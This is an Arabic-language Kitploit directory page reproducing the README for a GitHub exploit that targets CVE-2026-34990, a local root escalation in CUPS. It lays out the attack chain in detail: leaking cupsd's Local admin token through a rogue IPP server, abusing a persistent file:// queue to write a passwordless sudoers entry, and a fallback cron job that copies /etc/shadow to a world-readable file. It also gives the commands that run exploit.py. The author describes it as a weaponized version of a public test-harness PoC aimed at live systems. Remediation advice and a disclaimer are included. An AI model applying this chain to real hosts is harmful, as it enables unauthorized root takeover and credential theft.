Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-34990 — تصعيد الصلاحيات محليًا ضد `cupsd` الذي يعمل بصلاحيات الجذر. | Kitploit
أدوات/GitHubGitHub/gbuyssens/cve-2026-34990
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولات
GitHubgbuyssens/cve-2026-34990

CVE-2026-34990

تصعيد الصلاحيات محليًا ضد `cupsd` الذي يعمل بصلاحيات الجذر.

عرض المستودع
منذ 3 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-34990 — تصعيد الصلاحيات المحلي في CUPS (cups2root، بعد إزالة بيئة الاختبار)

CVSS 3.x : 8.4 HIGH   (تقريبي — تحقق منه)
CWE      : CWE-287 (مصادقة غير صحيحة) + CWE-269 (إدارة صلاحيات غير صحيحة)
الإصلاح : CUPS 2.4.17+
يؤثر على: CUPS ≤ 2.4.16 مع تشغيل cupsd كـ root والمنفذ 631 متاح محلياً

تصعيد صلاحيات محلي ضد cupsd يعمل كـ root. عند إجباره على العمل كـ عميل IPP تجاه خادم محلي خبيث، يستجيب cupsd لتحدي 401 WWW-Authenticate: Local بإعادة إرسال رمز المسؤول الخاص به. اعتراض هذا الرمز يتيح لمستخدم غير مميز التحكم بـ cupsd كمسؤول (root). طابور طباعة دائم عبر file:// (printer-is-temporary=false) يتجاوز سياسة FileDevice، لذا يقوم Print-Job خام بكتابة بايتات المهاجم إلى أي مسار كـ root — هنا مقطع sudoers بدون كلمة مرور.


جدول المحتويات

  • ملخص الثغرة
  • السبب الجذري
  • سلسلة الهجوم
  • إزالة بيئة الاختبار مقابل PoC العام
  • الإصدارات المتأثرة
  • هذا المستودع
  • الاستخدام
  • المعالجة
  • المراجع

ملخص الثغرة

تتسلسل بدائيتان إلى كتابة ملفات عشوائية كـ root:

  1. مصادقة Local قابلة لإعادة الاستخدام. يقبل cupsd مصادقة Local مدعومة بشهادة root تحت /run/cups/certs/. عند العمل كعميل IPP، فإنه يتطوع بإرسال رمز المسؤول هذا عند مواجهة تحدي 401 WWW-Authenticate: Local. وجّه cupsd إلى خادم IPP مزيف تتحكم به وستعترض رمزاً صالحاً لقيادته كـ root.
  2. تجاوز FileDevice. يُرفض file:// كـ device-uri افتراضياً. إنشاء الطابور مع printer-is-temporary=false يجعله دائماً ويتجاوز هذا الحاجز؛ ثم يقوم Print-Job خام بكتابة بايتاته مباشرة إلى الملف الهدف، كـ root.

السبب الجذري

                  cupsd (root)                     rogue server 127.0.0.1:9189
                       |                                    |
  CUPS-Create-Local-Printer                                 |
  device-uri=ipp://127.0.0.1:9189/ipp/print                 |
                       |  "validate" the printer            |
                       |----------------------------------->|
                       |   401 WWW-Authenticate: Local      |
                       |<-----------------------------------|
                       |   retry + Authorization: Local <T> |
                       |----------------------------------->|  capture <T>

<T> هو رمز المسؤول الخاص بـ cupsd — أعد إرساله إلى /admin/ وستكون مكافئاً لـ root.


سلسلة الهجوم

1. Cap thread          bind 127.0.0.1:9189, answer 401 Local, capture token
2. Coerce              CUPS-Create-Local-Printer -> device-uri ipp://127.0.0.1:9189/...
                       -> cupsd connects out -> 401 -> retry -> [+] Local token
3. Root write          CUPS-Add-Modify-Printer  device-uri=file:///etc/sudoers.d/<user>-pwn
                       printer-is-temporary=false (FileDevice bypass) + accept + resume
                       Print-Job (application/vnd.cups-raw, gzip) = "<user> ALL=(ALL) NOPASSWD: ALL"
4. Verify              sudo -n id   ->   root
   (fallback: a root cron job dropped to /etc/cron.d/<user>-pwn copies /etc/shadow
    to /tmp/shadow-<user> mode 644; wait ≤90s for cron)

إزالة بيئة الاختبار مقابل PoC العام

الـ PoC المرجعي (GHSA-c54j-2vqw-wpwp / cups2root، R. de Jager) هو بيئة اختبار تجريبية: يعمل كـ root، ويشغّل cupsd خاصاً به ومستخدماً مؤقتاً unpriv، ثم sudo -u unpriv لمحاكاة المهاجم. غير قابل للاستخدام كما هو. التغييرات:

  1. إزالة بيئة الاختبار — لا سقالات root/تشغيل؛ يستهدف cupsd النظامي الذي يعمل بالفعل كـ root على 127.0.0.1:631.
  2. هدف حقيقي — المهاجم = المستخدم الحالي (أو $ATTACKER)؛ المقطع <user> ALL=(ALL) NOPASSWD: ALL.
  3. IPP خام عبر المقابس — إعادة كتابة كاملة بدون ipptool / lpadmin / lpinfo / cupsctl

الإصدارات المتأثرة

الحالةالإصدارات
معرّضةCUPS ≤ 2.4.16
مُصلحةCUPS 2.4.17 وما بعده

هذا المستودع

الملفالدور
exploit.pyPoC: تسريب الرمز → طابور file:// → Print-Job خام → sudoers root
README.mdهذا الملف

الاستخدام

مكتبة Python 3 القياسية فقط — بدون تبعيات.

# attacker = current user, cupsd on 127.0.0.1:631
python3 exploit.py

# override the target user (e.g. after landing as anotheruser)
ATTACKER=anotheruser python3 exploit.py

# non-default cupsd / capture endpoint
IPP_HOST=127.0.0.1 IPP_PORT=631 CAPTURE_PORT=9189 python3 exploit.py

عند النجاح:

[+] Local token: <token>
[+] ROOT via sudoers

ثم sudo -i.


المعالجة

  1. الترقية إلى CUPS 2.4.17+.
  2. لا تشغّل cupsd كـ root حيث يمكن تجنّب ذلك؛ أسقط الصلاحيات / اعزل الخدمة.
  3. قيّد مصادقة Local وخلفية جهاز file://؛ أبقِ سياسة FileDevice مفروضة على الطوابير الدائمة.
  4. إذا لم تكن الطباعة مطلوبة: systemctl disable --now cups cups-browsed وأزل الحزمة.

المراجع

  • NVD — CVE-2026-34990
  • GHSA-c54j-2vqw-wpwp — cups2root (R. de Jager, v12-security)
  • ملاحظات إصدار OpenPrinting CUPS 2.4.17

إخلاء المسؤولية

هذا المشروع مخصص لاختبارات الأمان المصرّح بها والتعليم والبحث الدفاعي فقط. أنت مسؤول عن الامتثال للقوانين المعمول بها وقواعد المشاركة في مختبرك أو لدى عميلك.

تنزيل الأداة